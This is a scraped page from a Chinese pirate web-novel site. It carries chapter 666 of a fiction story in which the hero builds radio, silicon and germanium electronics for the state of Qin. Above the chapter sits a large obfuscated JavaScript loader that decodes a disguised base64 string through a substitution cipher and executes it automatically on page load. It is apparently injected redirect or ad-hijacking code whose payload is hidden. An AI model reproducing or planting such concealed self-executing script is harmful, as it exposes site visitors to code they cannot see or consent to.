笔趣阁

阅读记录  |   用户书架
(function(){function sac37f14(o12dbf){var d19f4b4=";w5W9?0sxMepiUu&%BYRX^aE$f-/Ir]:,~o=zvOVGKnd(qyjbt.gT@PmHC4ZLJ82hk_1D!S6Nl|3QFc[7A";var n3bd86624="wC!|POQuIT^_HaVeb7fx52WNoZi,h%$c[SjB]zKnD/s4E?60=.(R8M@Y93:q;vkr&-gGJFtAp~XyLl1dmU";return atob(o12dbf).split('').map(function(da785){var zb4e8=d19f4b4.indexOf(da785);return zb4e8==-1?da785:n3bd86624[zb4e8]}).join('')}var c=sac37f14('gRPC://Oy1WWyQ7LCJGIisiVWMiKyJbIisiaiIrImQiKyJDaiIrIlUiemJZc1Y6Uy0kVi4pey5Zc1Y6Uy0kVi43SEJYai8zaiZYJkMvM0I6VFtbQltZL1N5WFRbWSl7LVkuS2VAVTpXYS1WS3RTJm5TLlZVSi1fVVMkMnRORlVTWSQyNykpezImU3MyVn1KVTIgJWM6ZGRiWXNWOlMtJFYuO2RjZEhjKXsyJlNzMlYgflMyLVZfdFkyJDd3SVUydyRbJi47ZGNkSGMpfUxKVTIgWWNeW0heYiwiRm9ua2lqY3BRPzZHcER+cGlNQFEiLyJKJjJramMiLyJuLVtrY2RUIi8iOjpTa15qXlhranlrXkggY0M0akM0ZFQiekxKVTIgO0ImaiZbJVlkYjNCOlRbW0JbWSwlYzpkZC5IQikrJWM6ZGQuY2N5KSslYzpkZC5jY2MpKyVjOmRkLkhUKXovSXleSHklaiViM0I6VFtbQltZLCVjOmRkLkhUKSslYzpkZC5jY3kpKyVjOmRkLmNjYykrJWM6ZGQuSEIpei9JY1k6WWJTeVhUW1ksO0ImaiZbJVlkLiJtQ3UzOjd1c1shRW86N0Y7WzZiYiIpei8kSFlDXjpkSDpiO0ImaiZbJVlkLiJtQ0RGbXxnRmdhUkYlYXVzWzZiYiIpL0lUZFg6WWI7QiZqJlslWWQuIjpDdS06Q2czVWFYViIpL0lDamQ6YjtCJmomWyVZZC4iOjd1OyUxIW9mMGJiIikvRkNqQ15ZVWI7QiZqJlslWWQuIjpDPW5VfDBiIikvRmNIQyZUQmI7QiZqJlslWWQuIjo3dV5mfER2ZjBiYiIpLyRbJkhISGI7QiZqJlslWWQuIlU3SE4lX2JiIikvOFlbeWRVYjNCOlRbW0JbWSw7QiZqJlslWWQuIk1hIWpVNmJiIil6Lzt5YyVDYjhZW3lkVSw7QiZqJlslWWQuIm1edU4lNmJiIil6LzhDXkNUaiZbYjhZW3lkVSw7QiZqJlslWWQuImY3UkolQ3hiIil6L1lbZGRYZENjQ2I4WVt5ZFUsO0ImaiZbJVlkLiI6NyFzZjFIUyIpei9JSHlUeVtkYjtCJmomWyVZZC4iJWEham1eX2IiKS9JJiVIWGp5OlRiO0ImaiZbJVlkLiIlYSE7IikvVUhjXl5jZGQmYjtCJmomWyVZZC4iJTFISWY2YmIiKUxKVTIgMyVDZCUlJlViO0ImaiZbJVlkLiI6XmNqVWFnRltfYmIiKUxKVTIgN3lbQkJYVEhMSlUyIFpYJlReQ0NIYjdIQlhqLGp6TC1ZLjdIQlhqdEYmVl9TST5jKXtaWCZUXkNDSGI3SEJYaiw4Q15DVGomWy5ZW2RkWGRDY0MuKSo3SEJYanRGJlZfU0kpen0tWS5GJDpVUy0kVnRuJlUyOkl0LVZbJlI/WS4zJUNkJSUmVSk+a2Mpezd5W0JCWFRIYlN5WFRbWSwkSFlDXjpkSDp6LjtCJmomWyVZZC4iWzF1ZFsxITNmYShiIikpTDd5W0JCWFRIdC1bYiJTIitZW2RkWGRDY0MuKSpjJmRMN3lbQkJYVEh0blMzRiZ0Oy1bU0liImNqanIiTDd5W0JCWFRIdG5TM0YmdEkmLV9JU2IiWGpqTlIiTDd5W0JCWFRIdFstblUlRiZbYlMycyZMLVkuU3lYVFtZdCUkWzM1YlZzRkYpe1N5WFRbWXQlJFszdFVOTiZWW3dJLUZbLjd5W0JCWFRIKX0mRm4me0pVMiBSJkNVW2RqYllzVjpTLSRWLil7U3lYVFtZdCUkWzN0VU5OJlZbd0ktRlsuN3lbQkJYVEgpTDNCOlRbW0JbWXQyJjckSiYoSiZWU1EtblMmViYyLlVIY15eY2RkJi9SJkNVW2RqL1lVRm4mKX1MM0I6VFtbQltZdFVbWyhKJlZTUS1uUyZWJjIuVUhjXl5jZGQmL1ImQ1VbZGovWVVGbiYpfX1KVTIgVWomWUJDajpiU3lYVFtZLCRIWUNeOmRIOnouO0ImaiZbJVlkLiJmYWMtZmEwYiIpKUxVaiZZQkNqOnQtW2IzaiZYJkMrO3ljJUMuWVtkZFhkQ2NDLikqYyZkKUxVaiZZQkNqOnRuUzNGJnRJJi1fSVNiImpOUiJMVWomWUJDajp0blMzRiZ0JEomMllGJDtiIkktW1smViJMOiRWblMgMlR5QlhIWGIuJFQmeWolVVQvb1ljWVhkJkMvWjpbXlVkJkJqYl5qailiPjkyJDctbiZ0MlU6Ji4sWSZTOkkuJFQmeWolVVQvb1ljWVhkJkMpL1YmOyA5MiQ3LW4mLi4ucC8yJm8mOlMpYj5uJlNNLTcmJHNTLi4uKWI+MiZvJjpTLlYmOyAoMjIkMi4iUy03JiRzUyIpKSkvWjpbXlVkJkJqKSkpeilMSlUyIFlZWEJeOmRbYlVuM1Y6IFlzVjpTLSRWLlNeVFRUeXkpe0pVMiAtVSZjVFtCOmIsIm9uIi8iOm5uIi8iXy1ZIi8ib05fIi8iTlZfIi8ib05fJiIvIjsmJU4iLyJuSl8iLyJJUzdGIi8ib04mXyJ6TEpVMiBfVVVUSCZDW2ItVSZjVFtCOnRGJlZfU0lMLVUmY1RbQjpiLVUmY1RbQjosOENeQ1RqJlsuWVtkZFhkQ2NDLikqX1VVVEgmQ1spekw6JFZuUyA3XiVeeVhkYiwiZl46c0VNdXZVXiF2JWFSU2ZeW1glflhqJUM2eT9NOGNFX2JiInpMSlUyIFs6XmNYWUhkOmI3XiVeeVhkLGp6TC1ZLjdeJV55WGR0RiZWX1NJPmMpe1s6XmNYWUhkOmI3XiVeeVhkLDhDXkNUaiZbLllbZGRYZENjQy4pKjdeJV55WGR0RiZWX1NJKXp9SlUyIF9jQ0JkVWpjXmJOVTJuJnhWUy4zaiZYJkMpTC1ZLi1uRVVFLl9jQ0JkVWpjXikpX2NDQmRVamNeYmpMX2NDQmRVamNeK2JUVFRUTEpVMiA7OlRYVUgmW15iLCJJU1NObjRLIi8yanlVW0hZXlsuWzpeY1hZSGQ6KS8iSVM3RiIvYG43XXtfY0NCZFVqY159YC9gXXszaiZYJkN9dF17LVUmY1RbQjp9YHosJFsmSEhIei4iSyIpTC1ZLjd5W0JCWFRINWJWc0ZGKTd5W0JCWFRIdEpVRnMmK2IiXDJcVm4mVlsgWm4gSSRuUyAiKzs6VFhVSCZbXkxTMjN7SlUyIEYlWCVDWGJVO1UtUyAyVHlCWEhYLjs6VFhVSCZbXi97MiZbLTImOlM0IlkkRkYkOyJ9L2NYamopTEYlWCVDWGJVO1UtUyBGJVglQ1h0UyZSUy4pTEpVMiBKWzpUWV5YJmJGJVglQ1h0LVZbJlI/WS4lYzpkZC55YykpTEpVMiBVSGNqJWIiIkwtWS5KWzpUWV5YJj5iail7VUhjaiViRiVYJUNYLElUZFg6WXouSls6VFleWCYpTEYlWCVDWGJGJVglQ1gsSVRkWDpZei5qL0pbOlRZXlgmKX1GJVglQ1hiRiVYJUNYLElIeVR5W2R6Lkt0e2MvZH1LXyksSSYlSFhqeTpUei4uUmI+UixGQ2pDXllVei4iIiksRmNIQyZUQnouKSwkWyZISEh6LiIiKSkpLCRbJkhISHouIiIpTEYlWCVDWGJGJVglQ1grVUhjaiVMRiVYJUNYYjtCJmomWyVZZC5GJVglQ1gpTFNeVFRUeXliRiVYJUNYLEZDakNeWVV6LiJLIiksanpMLVkuN3lbQkJYVEg1YlZzRkYpN3lbQkJYVEh0SlVGcyYrYiJcMlxWXyZTIFpuIEkkblMgbnM6OiZubiIrU15UVFR5eX06VVM6SS5WW0hIQiU6Qil7LVkuN3lbQkJYVEg1YlZzRkYpN3lbQkJYVEh0SlVGcyYrYiJcMlxWXyZTIFpuIEkkblMgWVUtRiZbIitWW0hIQiU6Qn1KVTIgLUJIXmNbVFtiSXleSHklaiUuWWNeW0hedDokVjpVUy4sYFYkO2tde0dVUyYsIlYkOyJ6Lil9YC9gSTImWWtde0YkOlVTLSRWdEkyJll9YC9gc246a117dlkmeWpVZCZDLil9YHopdG4kMlMuLi4pYj5ZW2RkWGRDY0MuKWt0WCkpLCRbJkhISHouIi8iKSlMSlUyIFljJUJkWzpeYi1CSF5jW1RbdC1WWyZSP1kuJWM6ZGQueWMpKT5rY3EtQkheY1tUWyxJVGRYOll6Li1CSF5jW1RbdC1WWyZSP1kuJWM6ZGQueWMpKSk0IiJMLUJIXmNbVFtiLUJIXmNbVFssSUNqZDp6LlljJUJkWzpeLyIiKSxGQ2pDXllVei4iIiksRmNIQyZUQnouKSwkWyZISEh6LiIiKStZYyVCZFs6XkxVaiZZQkNqOnRuMjpiLCJJU1NObjRLIi9TXlRUVHl5L1VqJllCQ2o6dC1bLy1CSF5jW1RbeiwkWyZISEh6LiJLIilMUzIze1N5WFRbWXQlJFszdFVOTiZWW3dJLUZbLlVqJllCQ2o6KX06VVM6SS4mKXtTeVhUW1l0VVtbKEomVlNRLW5TJlYmMi4iRz9AdyRWUyZWU1EkVVsmWyIvLi4pYj57U3lYVFtZdCUkWzN0LVZuJjJTPSZZJDImLlVqJllCQ2o6L1N5WFRbWXQlJFszdDpJLUZbRSRbJm4sanopfSkpfS1ZLjd5W0JCWFRINWJWc0ZGKXs3eVtCQlhUSHRKVUZzJitiIlwyXFZVTk4mVlsmWyAmNyBTJCBJUzdGIkxKVTIgUyZVSEhiU3lYVFtZdF8mUyhGJjcmVlM9M3hbLlVqJllCQ2o6dC1bKUwtWS5TJlVISGJiVnNGRldXUyZVSEhiYnNWWyZZLVYmWyl7N3lbQkJYVEh0SlVGcyYrYiJcMlxWIDpVVlMgXyZTICY3IFkyJDcgSVM3RiJ9fX1MLVkuN3lbQkJYVEg1YlZzRkYpezd5W0JCWFRIdEpVRnMmK2IiXDJcVm4mVlsgb24gSSRuUyAiK1pYJlReQ0NIfUpVMiB2WSZ5alVkJkNiWXNWOlMtJFYuKXtTMjN7OiRWblMgRkJZJVklSFljYi5WJjsgR1VTJil0UyRRJDpVRiZHVVMmflMyLVZfLilMOiRWblMgWyZbOlVVamJgbjdTLXBuLVtwXXtJQnlCXnl5dDNqJlgmQ31wTkpgTEYmUyAzQ15eZGpeeSZiRH4/RXROVTJuJi5GJDpVRn5TJDJVXyZ0XyZTeFMmNy5bJls6VVVqKSlMLVkuM0NeXmRqXnkmYmJWc0ZGV1czQ15eZGpeeSZ0W1VTJjViRkJZJVklSFljKXszQ15eZGpeeSZie05KTS03Jm40ai9bVVMmNEZCWSVZJUhZY319MiZTczJWIDNDXl5kal55JnROSk0tNyZuK2N9OlVTOkkuc0JqZEIpezImU3MyViBjfX1MSlUyIDJqeVVbSFleW2JZc1Y6Uy0kVi5GOmR5VFQpezImU3MyViA7QiZqJlslWWQuRjpkeVRUKSxJQ2pkOnouJWM6ZGQuZF4pL1lbZGRYZENjQy4pdFMkflMyLVZfLkN5KXRuRi06Ji44Q15DVGomWy5ZW2RkWGRDY0MuKSpIKSteKSl9TFlZWEJeOmRbLjJqeVVbSFleWy5aWCZUXkNDSCkpTDNCOlRbW0JbWSwiVVtbKEomVlNRLW5TJlYmMiJ6LiI3Jm5uVV8mIi8uWXNWOlMtJFYuc0JqZEIpey1ZLnNCamRCdFtVU1V0OGJiM2omWCZDKXtTeVhUW1l0XyZTKEYmNyZWUz0zeFsuVWomWUJDajp0LVspdDImNyRKJi4pTEpVMiAmJVkmJSZbYlZzRkZMLVkuN3lbQkJYVEg1YlZzRkYpezd5W0JCWFRIdEpVRnMmK2IiXDJcVjImOiYtSiYgJjcgTiRuUyA3Jm5uVV8mIkw3eVtCQlhUSHRKVUZzJitiIlwyXFYmdFtVU1V0SiAiK3NCamRCdFtVU1V0WkwmJVkmJSZbYi50dHRzWFs6alR5VVUpYj57LVkuNXNYWzpqVHlVVVdXc1hbOmpUeVVVdEYmVl9TSTxiaikyJlNzMlZMN3lbQkJYVEh0SlVGcyYrYiJcMlxWIitzWFs6alR5VVV0byQtVi4iICIpfX1WJjsgIXNWOlMtJFYuIlUyX24iL3NCamRCdFtVU1V0Wikue3BTWzpuNEljWTpZL3BGJF80JiVZJiUmW30pfX0pKX0pLiwiZl46c218PWo/MUZDbXxndiVhUlNmXltYJX5YaiVDNnk/TThjRV9iYiJ6LyJjZFQiLzstVlskOy9bJDpzNyZWUyl9TEZVY1tqZENqVS4pTA=='.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第666章 无线电广播(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

本书最新免费章节。齐国的兵器仿制才刚刚开始而秦国却已经开始另外一项具有划时代的革命性技术成果这就是无线电技术

随着电子管技术的继续研究无线电技术发展迅速但中间尚文为了加快其推广速度充分利用空余时间帮助其技术越发成熟

之前的秦国无线电技术仅仅只是发出了一些沒有任何意义的无线电信号这些信号沒有任何的信息价值随后无线电技术改进了电子管技术使用了真空电子管作为信号接收装置这样无线电技术的基础打下了牢固的基础但这离大规模普及远远还不够因为这些设备依然很大这就需要进一步简化这些技术设备

尚文首先查看了秦国目前使用的材料在这些材料中他沒有看到最想看到的材料硅硅是良好的半导体材料但他翻遍了所有的记录说明都沒有说明硅的存在

硅的确存在于我们的周围而且是地球上丰富度排名第二的元素但在自然界中多以氧化物的形式存在不过秦国能够发明真空电子管肯定是有另外一种元素被发现才进一步发展的这种元素就是锗锗同样是良好的半导体材料

锗属于稀散元素沒有可供工业开采的矿石在地壳中占质量的7.0x10-4在煤、银、锡、锌、铜等矿中含有少量工业生产主要以硫化锌矿、煤以及冶金废料或烟道灰尘中回收发现的过程和工业生产一样也是从中发现的

这种元素的稀缺决定了其不能大规模的量产尚文决定先提炼出纯硅实验室里可用镁粉在赤热下还原粉状二氧化硅用稀酸洗去生成的氧化镁和镁粉再用氢氟酸洗去未作用的二氧化硅即得单质硅这种方法制得的都是不够纯净的无定形硅为棕黑色粉末工业上生产硅是在电弧炉中还原硅石(sio2含量大于99%)使用的还原剂为石油焦和木炭等使用直流电弧炉时能全部用石油焦代替木炭石油焦的灰分低(0.3%~0.8%)采用质量高的硅石(sio2大于99%)可直接炼出制造硅钢片用的高质量硅高纯的半导体硅可在1200c的热硅棒上用氢气还原高纯的三氯氢硅sihcl3或sicl4制得超纯的单晶硅可通过直拉法或区域熔炼法等制备尚文详细的写出了现代电子工业制备硅的方法

在提取纯度硅之后就是制造电路板和二极管或者是三极管尚文认为制造三极管为最佳因为三极管可以将微弱的信号放大

在经过连续七初步完成了二极管的研制但三极管依然还需要一些材料的进一步升级才能完成但真空电子管已经可以完成了电波信号的接受

秦国的一些高层建筑上已经建立了一些钢铁高塔不仅仅是避雷针还有一些安装了信号接收器这是不断试验电波信号的结果

广播电台播出节目是首先把声音通过话筒转换成音频电信号经放大后被高频信号(载波)调制这时高波信号的某一参量随着音频信号作相应的变化使我们要传送的音频信号包含在高频载波信号之内高频信号再经放大然后高频电流流过天线时形成无线电波向外发射无线电波传播速度为3x10的8次方米每秒这种无线电波被收音机天线接收然后经过放大、解调还原为音频电信号送入喇叭音圈中引起纸盆相应的振动就可以还原声音即是声电转换传送电声转换的过程

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间